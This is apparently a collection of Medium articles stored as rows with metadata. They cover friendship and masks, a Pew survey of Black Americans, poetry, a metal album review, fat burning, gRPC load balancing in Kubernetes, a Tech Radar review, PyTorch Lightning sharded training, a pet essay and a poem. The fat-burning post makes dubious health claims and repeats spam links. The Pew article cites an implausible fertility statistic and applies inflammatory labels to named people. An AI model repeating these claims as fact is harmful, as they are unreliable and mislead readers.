No we cannot remain friends. When they’re willing to put my family’s lives at risk because they think something as simple as wearing a cloth mask somehow makes them a communist sympathizers or the equivalent of a holocaust survivors our relationship cannot survive. If they will not even respect my family’s most basic safety requests when wanting to visit or meet up they clearly do not value us, nor our relationship, and I see no reason to continue it. Since their selfishness appears to know no bounds I can not, and will not, look past it for the sake of a relationship of any kind. It’s simply not worth it.
There are other issues that similarly cross the line for me. If you’re a racist, homophobe, misogynist, pedophile, sociopath, anti-semite, raging conspiracy theorist, etc., please see your way out because you are not welcome here either. Some issues are simply beyond reconciliation and social niceties. | https://medium.com/@johnmoyle/relationships-wont-survive-d776a05d96c9 | ['John Moyle'] | 2021-08-17 16:49:15.864000+00:00 | ['Reality Check', 'Friendship', 'Morality', 'Society', 'Pandemic'] |
Pew Survey Shatters Stereotypes About Black People | I’m generally skeptical of surveys because you can make them say anything. I also don’t think a survey of 1,000 people is an accurate representation of a country. Still, sometimes surveys do provide interesting information. Pew’s recent analysis of Black Americans (based on 2019 census data) provides some stereotype-shattering information. As Sirius talk show host Karen Hunter often says, it’s inaccurate to view Black people through the lens of poverty.
This is something I’ve known for a while. Most of the African-Americans I know aren’t living in the projects and surviving on welfare. The Black people I interact with are solidly middle class, whatever that means these days. The American middle class has been shrinking and struggling to stay afloat because of stagnant wages and skyrocketing healthcare and education costs for decades.
Like the average middle-class American, most Black Americans are barely staying afloat and are one paycheck away from living in their cars. According to the survey, almost half of Black households made $50,000 in 2019. However, when it comes to assets, the numbers get much uglier. Black people have lower homeownership rates than white Americans.
But here are some other findings from the Pew Survey:
Black people are fertile
That’s a good thing for America and a bad thing for neo-Nazis such as Tucker Carlson. According to Pew, Black people have a 5.9 percent fertility rate. That’s good for the United States because they are reproducing at a rate needed to sustain the economy. You have to produce babies so they grow up, become working adults, and pay into the economy to sustain programs such as social security and do the jobs left vacant as seniors retire. The fact that Black people and Latinos are reproducing means America doesn’t have to import more people, through immigration, to keep things running. Although that’s going to be inevitable at some point.
White people, who overwhelmingly vote Republican, have low fertility rates. Ironically, white nationalists don’t like any of the solutions to this problem and have come up with crackpot conspiracy theories to deal with their anxiety. The “the Great Replacement” conspiracy, which claims Jews are replacing white people with immigrants from developing countries, comes straight from the pages of Stormfront, a hate website. This lie is frequently repeated by Carlson and fellow FOX News neo-Nazi Laura Ingraham.
The Pew survey shows that many Americans’ stereotypical view of Black people is not accurate. We’re not all thugs, rappers and athletes who grew up dodging bullets in the ‘hood.
Black people don’t favor the coasts
According to the Pew survey, more than half of Black people (56 percent) live in the South. This is also not surprising because there has been a trend of African Americans moving back to the South from the North in reverse migration. They’re attracted by the slower pace of life and cheaper cost of living, especially property prices. The South is also attractive to retirees. percent.)
African Americans are educated
According to the survey, almost a quarter of Black Americans are educated with 23 percent of them possessing a college degree. Forty-four percent of African Americans had at least a high school education. Also, 33 percent of Black people had some college education, so more than half received some form of higher education. This is a good sign since you need higher education to get a good-paying job these days.
However, the ugly side is that Blacks with college degrees still have higher unemployment rates than whites with lower education. This shows employment discrimination is still an issue. Another interesting fact from the survey was that 21 percent of African Americans fell into the unaffiliated category in terms of faith. While Black Americans are overall the most religious group, that trend is slowly declining.
Overall, the Pew survey shows that many Americans’ stereotypical view of Black people is not accurate. We’re not all thugs, rappers, and athletes who grew up dodging bullets in the ‘hood. Most of us are educated, middle-class people. And that pretty much describes me too. | https://aninjusticemag.com/pew-survey-shatters-stereotypes-about-black-people-a41ad2937e37 | ['Manny Otiko'] | 2021-04-12 21:36:33.028000+00:00 | ['Politics', 'Race', 'Equality', 'Employment', 'BlackLivesMatter'] |
The Art of Poetry | There are many forms of literature that play a huge role in the whole concept of expressionism and evokes a high concentrated imagination. But poetry specifically is one of a kind, a type of literature unlike the rest — an art form that’ll leave you either with the deepest scar mentally and/or emotionally or teach you an unforgettable lesson. The reader behind the screen delves into deep poems thinking “wow what could have evoked such brilliant writings?” when that’s the true question. The writer who is exerting his/her magic to the world with their writing is experiencing those words and emotions on a profound level.
We don’t tend to consider the emotions that the writer needed to summon or the insane amount of thoughts swarming in their mind in such a rhythmic and composed way that is still understandable.
As a poetess, I find myself creating new words, new languages within the English language because I can’t find a word that satisfies what I am trying to portray. I feel as if the English language or language in general is the barrier between me and poetry. Yet it is also the bridge that connects the writer to the reader. How else would you understand what I mean?
The amount of emotional and mental stimulation that a poet requires to write a poem like no other with the exact thoughts and intentions, is an underrated art. Sometimes a spark of motivation to write a poem arises and while writing my poem I find myself delving into a whole new topic, just because my mind is full of all these thoughts and ideas.
So what I do is a method called the “yes-continue method”. For instance, “yes my intention is to write about ‘so and so topic’ and even if I get out of track I will continue following the endless thought process in my mind then edit later. With this I find myself making three different poems within one poem. I have three different thoughts in one so now I made edit or elaborate in each poem. This allows me to fully clear my mind of thoughts, and as an overthinker this has been my holly grail. I completely spill the guts of my mind onto paper and let it all out no matter where it takes me.
Even if I do make my own words, I either create a little word key defining them or find the closest meaning to them.
Expansion is the key. Don’t let anything restrict your imagination and freedom of thinking. That’s the true magic of it all, when you are able to turn a boundary or restriction into a positive use! | https://medium.com/@hajars-conciousness/the-art-of-poetry-7da7bb852ba4 | ['Hajar M.'] | 2020-12-23 19:09:00.355000+00:00 | ['Poetry On Medium', 'Articles', 'Poetry Writing', 'Writing Tips', 'Art'] |
Retro-Review: ‘Death Metal’ by Dismember | In 1997, Dismember decided to release an album with the most obvious title in the world: Death Metal.
Death Metal is exactly what it says, death metal. For more than 40 minutes, you’ll hear the Swedes play some pretty straightforward fair, staying true to the sound which they in part innovated in the late 80s and early 90s, along with better-known Swedes, Entombed.
Whereas Entombed went a different, some would say more commercial, direction with their 1993 album Wolverine Blues, Dismembered stuck with the buzzing guitars, frenetic drumbeats and throat ripping growls that became staples of Swedish death metal early on.
This isn’t to say that Dismembered is doesn’t push the limits of their sound. Even though they were almost a decade old at this point, they were still finding new things to do with a then-old sound.
Release on July 29, 1997, and produced by Thomas Skogsberg, Death Metal has a rather clean sounding production, but not sterilized.
The album feature Matti Kärki on vocals, David Blomqvist on lead guitar, Robert Sennebäck on rhythm guitar, Richard Cabez on bass and Fred Estby on Drums. Estby is also credited as a producer and engineer. The songs were wrote by several combinations of members of the band, which gives things quite a varied sound.
The album
Death Metal blast off with the furious track “Of Fire.” As the first track, it does its job of sucking you in and giving you an idea of what you’re in for. Going by “Of Fire” we’re in for some kick-ass death metal that sprinkles some great melodies over heavy riffs. This song also throws in a little Black-Sabbath type rhythm during its solo, which itself is, dare I say, rather pretty.
In a similar vein to “Of Fire” are melodic death metal tracks like “Misanthropic,” “Live for the Fear (of Pain)” and “Silent are the Watchers.”
“Bred for War” is an old-school death metal sounding track. It’s also one of the most varied, changing direction several times. It’s definitely a down-tuned shredder. This old-school feel is also present in “Trendkiller.”.
Of course, Dismember didn’t exactly avoid some of the trends in death metal at the time.
“Let the Napalm Rain” is about as groovy as a you can get with Swedish death metal, coming pretty close but not touching, the “death ’n’ roll” that fellow Swedes Entombed were known for. “Killing Compassion” and “When Hatred Killed the Light” also go in this death ’n’ roll direction, but don’t really stand out.
The standout of the death ’n’ roll tracks is “Stillborn Ways” which is marked by its slow, but heavy beat. It’s got that raw sound that makes it stick out from much of the other more polished sounding tracks on Death Metal.
“Mistweaver” ends the album on a slow, but heavy note, reminiscent of Cathedral in some way, except for the vocals, which are Kärki’s roars instead of Lee Dorrian’s yelps.
The verdict
I like Death Metal, it’s a pretty solid, if not exactly innovative album. A lot of it sounds like something you’ve heard before, if you’ve been listening to death metal for a while. I’m not saying that’s a bad thing and it works for Dismember, who seem skilled at taking already existing ideas and putting them together under their own sound.
Would I recommend buying it?
Unless you’re a Swedish death metal completest, I can’t really say “go out and get it.” But if you have some time to spend in your car or just want something to take you back to a time when metal wasn’t dominated by scream-o-emo, then I’ll say “yes.”
Anyway, you can find the entire album on YouTube and it’s worth listening to. | https://medium.com/earbusters/retro-review-death-metal-by-dismember-eef3fc6f8f1c | ['Joseph R. Price'] | 2018-12-25 06:01:01.333000+00:00 | ['Music Review', 'Scandinavia', 'Death Metal', 'Music', 'Sweden'] |
Burning Fat Vs Burning Calories | How do you lose belly fat?
To lose weight and get in shape you must have a good diet and exercise regularly to burn fat. The first thing you must understand about exercise is that just because you are burning calories does not mean you are burning fat. Your main focus when you exercise should be losing body fat, and you can’t lose body fat just from burning calories.
If you want to burn fat fast Click Here: burn fat
The best solution for belly fat and burning calories.
When we exercise, our bodies will start burning calories, but the calories that are burned are the calories from carbohydrates in our system. In order to burn calories from your stored fat, your body requires the presence of oxygen. There is a certain amount of oxygen that your body needs in order to start burning fat and the only way for you to measure the amount needed for your own body is to keep up with your target heart rate during exercise.
Please understand that if you continue to only burn calories from carbohydrates, you will lose mostly “water weight” which leads to a decrease in your metabolism. Also, think of the calories that are burned from carbohydrates as your energy calories. If you lose too much energy calories then your muscles will not receive enough energy to increase your metabolism which indirectly burn fat. Therefore you must increase your calorie intake when you are on an exercise program to replace your burned energy calories.
Burning Fat Calories during exercise
During aerobic exercise, your body goes through several stages before it reaches the point where you are burning fat. You will hear people say that you are only burning sugar (carbohydrates) not fat during the first 10 minutes of exercise. This is true to a certain extent. I say this because you will continue to burn sugar past the 10 minute mark if you are not working out hard enough for your body to want more oxygen; or you are working out too hard and you can’t supply your body with enough oxygen for fat burning.
If you want to burn fat fast Click Here: burn fat
When you exercise you must move at a steady pace (not too fast, not too slow) so your body will utilize your stored fat (not carbohydrates or sugar) as its energy source. Also remember that just because you reached the fat burning stage does not mean you will stay there. Staying at the fat burning stage once again depends on if you are moving at a pace that is right for your body. Make sure that you are within your target heart rate range.
Burning Fat Calories at rest
The only way for you to continue to burn fat calories hours after you have finished working out is through the anaerobic exercise of weight training. Weight training is the key to burning fat at rest. Weight training is an anaerobic activity that will cause you to burn more calories than aerobic exercise. The calories that you are burning during weight training exercises are mostly calories from carbohydrates (meaning you must eat even more calories per day for energy); but the calories you burn at rest are mostly calories from fat. The reason you are burning fat at rest is because weight training increases your metabolism which uses your stored fat as energy.
To make your body the ultimate fat burning machine you must do aerobic (cardio) and anaerobic (weight training) exercises.
If you want to burn fat fast Click Here: burn fat
Thanks for reading and Good luck! | https://medium.com/@philkitimi/burning-fat-vs-burning-calories-4b1648dc0c17 | ['Tlhoriso Phillip Kitimi'] | 2021-11-14 20:23:45.151000+00:00 | ['Weight Loss', 'Fat Burning Tips', 'Lose Weight Fast', 'Fat Burning Foods', 'Lose Weight'] |
ALAA EZZEDDINE MUSICAL ARTIST | FIND MY MUSIC HERE ONLY ONE CLICK TO ALL LINKS
MY MUSIC OUT NOW WORLDWIDE ON ALL MUSIC PLATFORMS.
YOUYUBE CHANNEL — FULL VISUAL MUSIC COLLECTION ON MY YOUTUBE CHANNEL. | https://medium.com/@alaaezzeddine/alaa-ezzeddine-musical-artist-218b96bb17bc | ['Alaa Ezzeddine'] | 2020-12-23 09:33:57.521000+00:00 | ['Artist', 'Musicalartist', 'Music', 'Musical', 'Alaaezzeddine'] |
Balancing gRPC Traffic in K8S Without a Service Mesh | One of the challenges some users (like me) face when trying to implement gRPC services into a Kubernetes cluster is to achieve a proper load balancing, and before diving into the way of balancing gRPC we first need to answer the question why do I need to balance the traffic if Kubernetes already does that job.
this article is focused on Kubernetes and Golang.
Why gRPC traffic is not properly balanced in Kubernetes?
The main reason why is difficult to balance the gRPC traffic is that people see gRPC as HTTP and here is where the problem begins, by design they are different, while HTTP creates and closes connections per request, gRPC operates over HTTP2 protocol that works over a long lived TCP connection making more difficult the balancing since multiple requests go through the same connection thanks to the multiplexing feature. However, this is not the only reason why balancing issues happen when configuring gRPC services in Kubernetes and these are some of the common mistakes:
Wrong gRPC client configuration
Wrong Kubernetes service configuration
Wrong gRPC client configuration
The common case when setting up a gRPC client is to choose the default configuration, which works perfectly for a 1–1 connection type, however, for a productive environment it does not work as we would like to. The reason behind this is because the default gRPC client offers the possibility to connect with a simple IP/DNS record which creates just one connection with the target service.
That’s why a different set up needs to be done for connecting with multiple servers, so we move the connection type from 1-1 to 1-N.
Default set up
func main(){
conn, err := grpc.Dial("my-domain:50051", grpc.WithInsecure())
if err != nil {
log.Fatalf("error connecting with gRPC server: %v", err)
}
defer conn.Close()
cli := test.NewTestServiceClient(conn)
rs, err := cli.DoSomething(context.Background(), ...)
.
.
.
}
New set up
func main() {
address := fmt.Sprintf("%s:///%s", "dns", " my-domain :50051")
conn, err := grpc.Dial(address,
grpc.WithInsecure(),grpc.WithBalancerName(roundrobin.Name))
if err != nil {
log.Fatalf("did not connect: %v", err)
}
defer conn.Close()
.
.
.
}
there are two major changes to take a look here:
the address: the final address parsed will look like dns:///my-domain:50051 and the reason why this format is used is that the Dial function allows us to use a target conformed by Scheme://Authority/Endpoint , in our case I am skipping the authority. So first I added dns as scheme because I want to resolve a domain and keep watching the changes over it, the resolver options are pass-through (default), dns, and manual, more details here.
the final address parsed will look like and the reason why this format is used is that the Dial function allows us to use a target conformed by , in our case I am skipping the authority. So first I added dns as scheme because I want to resolve a domain and keep watching the changes over it, the resolver options are pass-through (default), dns, and manual, more details here. balancer option: in the case our client gets connected with multiple servers now our gRPC client is able to balance the requests according to the balancing algorithm chosen.
Summing up our gRPC client is now able to create different connections if and only if the domain resolves multiple A or AAAA records, and not just that, now is able to balance the request evenly to the different servers.
Now let’s see the missing piece in the puzzle to make it work with Kubernetes.
Wrong Kubernetes service configuration
Creating a service in Kubernetes is pretty straightforward we just need to define the service name, the ports, and the selector so the service can group the pods dynamically and automatically balance the request like so:
apiVersion: v1
kind: Service
metadata:
name: my-service
spec:
selector:
app: my-app
ports:
- name: grpc
protocol: TCP
port: 50051
targetPort: 50051
so what is the problem with the previous set up?, it is simply that the default Kubernetes service creates a DNS record linking just one single IP, thus, when you do something like nslookup my-service.{namespace}.svc.cluster.local what is returned is a single IP, which makes the connection graph in a common gRPC implementation something like this:
e.g connection graph with a default Kubernetes service
the green line means the active connection with the client, the yellow is the pods not active. The client creates a persistent connection with the Kubernetes service which at the same time creates the connection with one of the pods but this does not mean the service is not connected with the rest of the pods.
Let’s solve it using a headless service:
apiVersion: v1
kind: Service
metadata:
name: my-service
spec:
clusterIP: None **this is the key***
selector:
app: my-app
ports:
- name: grpc
protocol: TCP
port: 50051
targetPort: 50051
After creating the headless service the nslookup looks like a bit different, now it returns the records associated with it (the pods IPs grouped into the service) giving to the gRPC client better visibility of the number of servers that need to be reached.
Now that you have seen the gRPC client configuration you must know why it is important that the Kubernetes service returns the IPs associated with the set of pods, and the reason is that the client can have visibility all servers that need to establish the connections. There is one caveat that you probably already realized at this point and is that the balancing responsibility is now in the client part and not in the Kubernetes side, the main task we need from Kubernetes now is to keep up to date the list of pods associated to the service.
e.g connection graph with a headless Kubernetes service
As you can see in the picture the connection changes a little bit, now we do not go through the Kubernetes service to reach the pod, instead we use the Kubernetes service to retrieve the list of pods linked to the domain and then we make the connection directly with the pods, but do not get scared about connecting directly to the pods since we set the DNS resolver type in the client that will keep watching the changes against the headless service, and will keep up to date the connections with the pods available.
Why not using then a service mesh?
If you can, please do it, with a service mesh all this set up is transparent, and the best part is that it is language agnostic. The key difference is that the service mesh leverage the sidecar pattern and a control plane to orchestrate the inbound and outbound traffic also has visibility of all the network and traffic type (HTTP, TCP… etc) being is able to balance the request properly. In a nutshell, if you are not using a service mesh you need either to get connected to multiple servers directly form each client or to connect to an L7 proxy to help to balance the requests.
Bonus
Although the previous set up works I had a problem trying to re-balance the connections when pod rotation or scales-up happened in the cluster in alpine linux images, and after some research, I realized that I was not the only with the same kind of problem, check here and here some github issues related. That’s why I decided to create my own resolver that you can take a look here, the custom resolver I created is a very basic but functional now the gRPC clients were able to listen for domain changes again, adding to the library a configurable listener that does X period of time a lookup to the domain and updates the set of IPs available to the gRPC connection manager, more than welcome if you want to contribute.
On the other hand, since I wanted to go deeper I decided to create my own gRPC proxy (and I learned a lot), leveraging the http2 foundation that gRPC has I could create a proxy without changing the proto payload message or without even knowing the proto file definition (also using the customer resolver aforementioned).
As a final comment, I would like to say that If your gRPC client needs to get connected with many servers I highly recommend using a proxy as a mechanism of balancing since having this in the main application will increase the complexity and resource-consuming trying to keep many open connections and re-balancing them, picture this, having the final balancing in the app you would have 1 instance connected to N servers (1-N), yet with a proxy, you would have 1 instance connected to M proxies connected to N servers (1-M-N) where for sure M<N since each proxy instance can handle a lot of connections to the different servers. | https://medium.com/swlh/balancing-grpc-traffic-in-k8s-without-a-service-mesh-7005be902ef3 | ['Andrés Pérez'] | 2020-10-02 12:32:44.810000+00:00 | ['Golang', 'Grpc', 'Load Balancing', 'Proxy', 'Kubernetes'] |
Technology Radar — October 2020 review — Part 1 | Technology Radar — October 2020 review — Part 1
A review of the recent Technology Radar October 2020 update — I review at least three items from Techniques and Tools in this part
Yes! Vol. 23 is out now and this is my review. The Tech radar provides the Software Engineering community, a very good glimpse of what technologies, techniques, patterns, tools, languages, frameworks are recommended for Adopt, Trial, Assess and Hold in four quadrants.
You can also create your own radar, here
These are, however, only guidelines as they stand, based on the research performed by ThoughtWorks. Needless to say, these recommendations doesn’t suit every organisation depending upon your needs. What you are encouraged to do though, is to create your own Technology Radar; see thoughtworks.com for more details.
Photo by William Topa on Unsplash
This article gives you my perspective of the techniques that I identify as ready to be adopted and fit into the current architectural/system design needs of many organisations; no matter the size/team, how disruptive or what you are building. You can also subscribe to the radar so that you won’t miss the radar as it is published.
Check out the interesting themes for this edition; new normal REST APIs with GraphQL, IaaC and low-code, if you are into that type of thing.
The Radar is a document that sets out the changes that we think are currently interesting in software development — things in motion that we think you should pay attention to and consider using in your projects. It reflects the idiosyncratic opinion of a bunch of senior technologists and is based on our day-to-day work and experiences. While we think this is interesting, it shouldn’t be taken as a deep market analysis.
Birth of Technology Radar
As a supplement, if you want to know about the history of Technology Radar, this will help.
Photo by Yves Alarie on Unsplash
Techniques
Interactive radar: https://www.thoughtworks.com/radar/techniques
Trial: CD4ML
As machine learning models evolve within respective domains, it is ever more important to enable continuous delivery as part of the MLOps.
Continuous Delivery for Machine Learning (CD4ML) is the discipline of bringing Continuous Delivery principles and practices to Machine Learning applications.
While the concept is in the trial, it is worth evaluating the tools that support the CD4ML from the start as you look to continuously improve ML models, from idea to value.
Photo by Arseny Togulev on Unsplash
TRIAL: Event Interception
This concept is very simple; intercept events and make a copy of it elsewhere so that you can replay and build a new system using the strangler pattern, thus retiring your Legacy.
In the SQL world, Change Data Capture or CDC has been exactly that which lets programmatically intercept the events based on the transaction log and perform actions based on the output. I worked on a simple solution in an Asset Management solution long ago, if you want any insights, please reach out to me.
ASSESS: Kube-managed cloud services
If you are reading this, you are aware of the power of Kubernetes in orchestrating containers, in the cloud and in on-prem. Also being used by teams in Terraform and Pulumi for provisioning infrastructure, the new custom resources definitions supported by the Kubernetes-style APIs are now available in the cloud and offered by AWS, Azure and GCP. You should try if this is something for you if you afford to accept the fact that, it tightly couples your Kubernetes cluster with the Infrastructure.
Photo by Pierre Bamin on Unsplash
Tools
Interactive radar: https://www.thoughtworks.com/radar/tools
Tools quadrant is looking good with no items in the HOLD which means it all up for grabs in terms of any R&D to discover anything suitable for your team or organisation. Here is my review:
Photo by ThisisEngineering RAEng on Unsplash
ADOPT: Dependabot
The idea of automatically sends your pull requests to update your dependencies to their latest versions is a dream come true! It is integrated with GitHub for you try to and also consider Renovate which supports a wide range of services, including GitLab, Azure DevOps.
A DOPT: Helm
A package manager for Kubernetes and it has greatly simplified the application lifecycle management in Kubernetes, with its dependency management, templating and hook mechanism.
A SSESS: Litmus
Chaos engineering tool for Kubernetes, with a low barrier to entry. It offers beyond random pod kill, including simulating network, CPU, memory and I/O issues. It is also interesting to learn that it supports tailored experiments to simulate errors in Kafka and Cassandra. You could try Gremlin, too.
Kubernetes overview
Principles of Chaos Engineering; courtesy: Gremlin
Photo by Ashim D’Silva on Unsplash
A SSESS: OSS Index
It is super important for development teams to identify whether the dependencies of their application have known vulnerabilities. OSS Index could be used to achieve this goal.
It is a free catalogue of open-source components and scanning tools designed to help developers identify vulnerabilities, understand risk and keep their software safe. It is fast, vulnerabilities are identified accurately and only a few false positives occur.
Supported Ecosystems; courtesy: OSS Index
Rest API documentation:
Photo by Romain Chollet on Unsplash
Create Your Radar
You can create your own technology radar and see where the blips are compared to the ones published by Thoughtworks. It is important for you to understand the differentiator and what makes sense for you and why. There is also constant review needed in order adjust your radar when there is a need for a new framework or techniques that your team want to adopt and they have a credible reason/business case for it. Also, be mindful that you’d also need to create some artefacts including a lightweight Proof of concept to ensure that you are not leaving it too far to figure out any major constraints with the items from our Radar and perform a durable Market scan(s).
Photo by Mike Petrucci on Unsplash
Have you created and used your own Technology Radar for your project/organisation? It’d be great to hear your feedback and experience (comments welcome)! | https://medium.com/cloudweed/technology-radar-october-2020-review-part-1-5e958c4a456a | ['Karthick Thoppe'] | 2020-12-24 11:07:52.290000+00:00 | ['Cloud Computing', 'Software Development', 'Technology Radar', 'DevOps', 'Technology'] |
Introducing PyTorch Lightning Sharded: Train SOTA Models, With Half The Memory | Introducing PyTorch Lightning Sharded: Train SOTA Models, With Half The Memory
Lightning 1.1 reveals Sharded Training — train deep learning models on multiple GPUs saving over 50% on memory, with no performance loss or code change required!
Image By Author
In a recent collaboration with Facebook AI’s FairScale team and PyTorch Lightning, we’re bringing you 50% memory reduction across all your models. Our goal at PyTorch Lightning is to make recent advancements in the field accessible to all researchers, especially when it comes to performance optimizations. Together with the FairScale team, we’re excited to introduce our beta for Sharded Training with PyTorch Lightning 1.1.
Training large neural network models can be computationally expensive and memory hungry. There have been many advancements to reduce this computational expense, however most of them are inaccessible to researchers, require significant engineering effort or are tied to specific architectures requiring large amounts of compute.
In this article we show how easy it is to see large memory reductions using multiple GPUs by simply adding a single flag to your Lightning trainer, with no performance loss. Continue reading to see how we pre-trained a Transformer LM with NeMo showing a 55% memory improvement, and further memory reductions training other PyTorch Lightning powered models. In addition to results in NLP using NeMo Transformer LM, we show results in Speech Recognition using DeepSpeech 2, and in Computer vision training SwAV ResNet and iGPT.
Larger Model, Better Accuracy
Recent advancements in language modelling are trending towards larger pre-trained models performing better on downstream tasks. This is famously shown with the release of GPT-3 by OpenAI, their largest model at 175 billion parameters, requiring massive amounts of compute and optimization tricks to train.
Comparing language model research parameter sizes over time. GPT-3 continued to surpass by magnitudes. Image by Microsoft
When training large models, memory quickly becomes a valuable resource. As we scale our model sizes, we start to run out of memory on GPUs which limits the size of the models we can train. This can be frustrating, and leads us to try smarter memory management techniques.
Sharded Training Powered by Lightning
Traditional Distributed Training vs Sharded Training. Parameters (P) are split across GPUs to reduce memory overhead per GPU. For Sharded Training, we split the optimizer states and gradients. Image by author
Sharded Training, inspired by Microsoft’s Zero Redundancy Optimizer (ZeRO) offers a solution to reduce memory requirements for training large models on multiple GPUs, by being smart with how we “shard” our model across GPUs in the training procedure. Sharding involves fragmenting parameters onto different devices, reducing the memory required per device. In particular, optimizer state and gradients can be sharded independent of the model, and can offer memory reductions for all architectures.
Sharded Training was built from the ground up in FairScale to be PyTorch compatible and optimized. FairScale is a PyTorch extension library for high performance and large scale training, model- and data-parallelism. In addition to Sharding techniques, it features inter- and intra-layer parallelism, splitting models across multiple GPUs and hosts.
With smart gradient and optimizer state sharding across our GPUs, we can reduce memory costs roughly a combined 4x and 8x respectively, as reported by Microsoft. This benefits all models, providing lower memory usage in training across all model architectures and training procedures. The caveat is that naive implementations have resulted in dramatic speed regressions due to the increased volume of communication required between nodes, and the lack of parallelism.
We’ve worked closely with the team behind FairScale who have spent time optimizing communications, reducing this regression to near zero whilst fitting nicely into PyTorch Lightning, allowing researchers to benefit from all the optimizations we’ve already made. You can now enjoy 55% and beyond memory reductions on all lightning modules by simply passing in a single trainer flag! This means larger models can be fit onto multiple GPU cards that are limited in memory.
Enable Sharded Training with no code changes
To demonstrate how easy it is to use Sharded Training in Lightning we use NeMo, a popular library from NVIDIA to train conversational AI models backed by Lightning. We’ll be using a vanilla Transformer LM model provided in NeMo, and be using a 1.2 billion parameter model which has a high memory requirement to train. When training large language models, memory is a valuable resource to boost the model size or to improve saturation on GPUs. To train the model we’ll be using the WikiText dataset.
First we download the dataset and extract using the processing script provided by NVIDIA NeMo. Then define the model configuration using the preset configuration file found within NeMo, modifying the data inputs to point to your dataset. We also build a simple word based vocabulary for benchmarking purposes.
After setting your model parameters, all you need to do is pass the Sharded plugin flag to the trainer enabling Sharded Training. You can increase the number of GPUs and enable native mixed precision for further memory and speed benefits. Behind the scenes, we automatically handle partitioning optimizers and all communication between GPUs.
Below you can see the memory improvement per device using Lightning’s built-in Sharding vs normal GPU scaling where the per device memory allocation stays constant. We also report a host of other models from self-supervised (SwAV), speech recognition (DeepSpeech 2) and generating pre-training on pixels (iGPT) which are all powered by PyTorch Lightning. We save up to 15 GiB of memory per GPU, which allows us to increase the model capacity. For example with the same hardware, we are able to boost out model size from 1.2 to 2 billion parameters when training our Transformer LM. | https://seannaren.medium.com/introducing-pytorch-lightning-sharded-train-sota-models-with-half-the-memory-7bcc8b4484f2 | ['Sean Narenthiran'] | 2020-12-10 19:48:36.324000+00:00 | ['Machine Learning', 'Deep Learning', 'Pytorch', 'Pytorch Lightning'] |
What I Learnt from My Pet | 5 classic lessons which made me a better person
Photo by Timothy Meinberg on Unsplash
Many people turn to historical figures, celebrities, sportsmen, family and friends for inspiration. And this inspiration turns to motivation to seek success in life.
Some flip page after page- reading about historical figures on what their history will teach them on how to succeed in business, life or even love. And I have done this as well. Quite often to be honest.
But today, I am not going to discuss about them. They have been discussed by many and I am not going to bore you with their wisdom. However, I have to come to realise that another motivational figure was sitting right here in my living room — in his favourite pet condo. Yes, I am talking about my pet. To be precise, I am talking about my cat.
My 7-years-old cat, Pipey, taught me to look at life through a different lens.
Be a fighter- Pipey
#1 Become a fighter
We have all read and heard of so many people who have fought throughout their lives — punched through adversity to live and survive in this unforgiving world. There have been numerous personalities who have wrote a multitude of biographies, highlighting their suffering and pain to be who they are today. And many a times, we have taken that with a pinch of salt — the author is exaggerating the pain so that we will feel strongly for him. In reality, that may or may not be the case.
I do not know that author or that personality personally. But I know my cat. I took him in when I married my wife. I sat with her to listen to the stories about Pipey.
Pipey is a fighter who was separated from his parents at a very young age — probably lost his siblings as well. Parents dead. Siblings dead. And kittens when they lose their parents or get separated from them do not live long. In most cases, they cannot survive without their parents. But in this case, Pipey survived — roaming the neighbouring estates in Singapore in search for food and water. One day, he came across my brother-in-law at the lift when things changed for him.
#2 Take a leap of faith
My brother-in-law and his family were in the lift. The door has not closed yet. And on the other side of the door was the kitten. Pipey. At that moment, my brother-in-law had his two beautiful daughters and brilliant pregnant wife in the lift with real-world problems (like grocery lists, electricity bills and mortgage loans) racing through his mind. And having a pet was the least of his concerns and he definitely did not want to add another real-world “problem” into his list of worries. So he told his family that if the kitten jumps into the lift, we will take him in. Pipey, in his own thoughts at that time, definitely did not understand English.
But at that moment, feeling the energy coming from the whole family, literally decided to make the leap of faith and jumped into the lift before the door closed on them. And that jump changed his life.
#3 Explore and own your comfort zone
Pipey moved from my brother-in-law’s place to my mother-in-law’s place. New environment. New people. Apprehensive at first, he got out from his little paws from his huge cage and started exploring his new home. He looked around for any dangers. He looked for comfort zones in the house. He found places in the house where he felt absolutely safe and laid there for hours, showing his belly to the world (Cats only show their belly when they feel absolutely safe).
He began to like his surroundings and this comfort zone gave him peace. Safety and security is not exclusive to just humans but it extends to the animal world as well. And this comfort zone gave him happiness as he owned that space.
#4 Get out of your comfort zone
Pipey has once seen the outside world- where he roamed for days without proper food and water. No security. And at times, no proper shelter to sleep. But things are different now. He has a home. He has a comfort zone and people to take care of him — to feed him at the right time and clean his poop and pee. Now, why would a pampered cat like this want to step out of his newfound kingdom? He has everything now.
But Pipey dared to step out. He jumped between the gaps of the metal gate to explore the outside corridor. At that moment, all the horrid memories of the past might have hit him like an avalanche. It did not matter. He made the first step to step out. No turning back now. He was willing to take on the challenges that await him. He will take his glory with humility or his mistake will teach him a lesson. Either way, he decided with that paw out of the door that he will get out of the comfort zone.
#5 No shame in asking for help
When Pipey stepped out of the house, not every day was met with glory. Some days were riddled with mistakes. And I will talk about one such mistake that Pipey will never forget.
One fine day, he was roaming around the neighbouring blocks. It was one of his hunting adventures. A hunting adventure that went wrong. One lousy misstep landed him inside a larger-than-life garbage bin. He fell in and was stuck. This was one problem where he cannot jump out of. He started calling for help. A couple of days went by. He tried to jump out himself — but could not. He continued to call for help. He felt that his ‘meows’ fell on deaf ears. But he didn’t give up. He continued calling for help.
And one day my mother-in-law, who was returning from the market, heard his wails. She rushed towards the garbage bin. He recognised her voice and his wails got louder. With whatever energy he still had, he jumped up as high as he can so that my mother-in-law could catch him.
At that moment, Pipey realised that his call for help had saved him. He made a mental note to be careful with his steps and never to be shy to call for help — when help is needed.
Now, these are the lessons my pet had taught me. Take a break from the screen and look at the pet sitting beside you. Now, what lesson did your pet teach you? | https://medium.com/@arulvelan85/what-i-learnt-from-my-pet-836827466465 | ['Arul Velan'] | 2020-12-03 13:22:04.604000+00:00 | ['Values', 'Pets', 'Cats', 'Lessons Learned', 'Short Read'] |
Searching For My Existence | The shining stars are tucked in tight
And the exhausted sun has died at night
As the moon smiles softly
And my pals sleep cozily
I stay awake to decode a mystery
That sits untouched in the books of history
The flowers have started to bloom
As I watch my efforts die in gloom
My existence and my role, I want to seek
Before my life becomes fragile and weak
The time’s ticking very fast
And nothing’s going to forever last
So, I must keep marching on
Before, I see my final dawn. | https://medium.com/spiritual-secrets/searching-for-my-existence-45e266eab9c6 | ['Darshak Rana'] | 2020-09-25 15:48:58.145000+00:00 | ['Self-awareness', 'Spirituality', 'Life', 'Poetry', 'Spiritual Secrets'] |
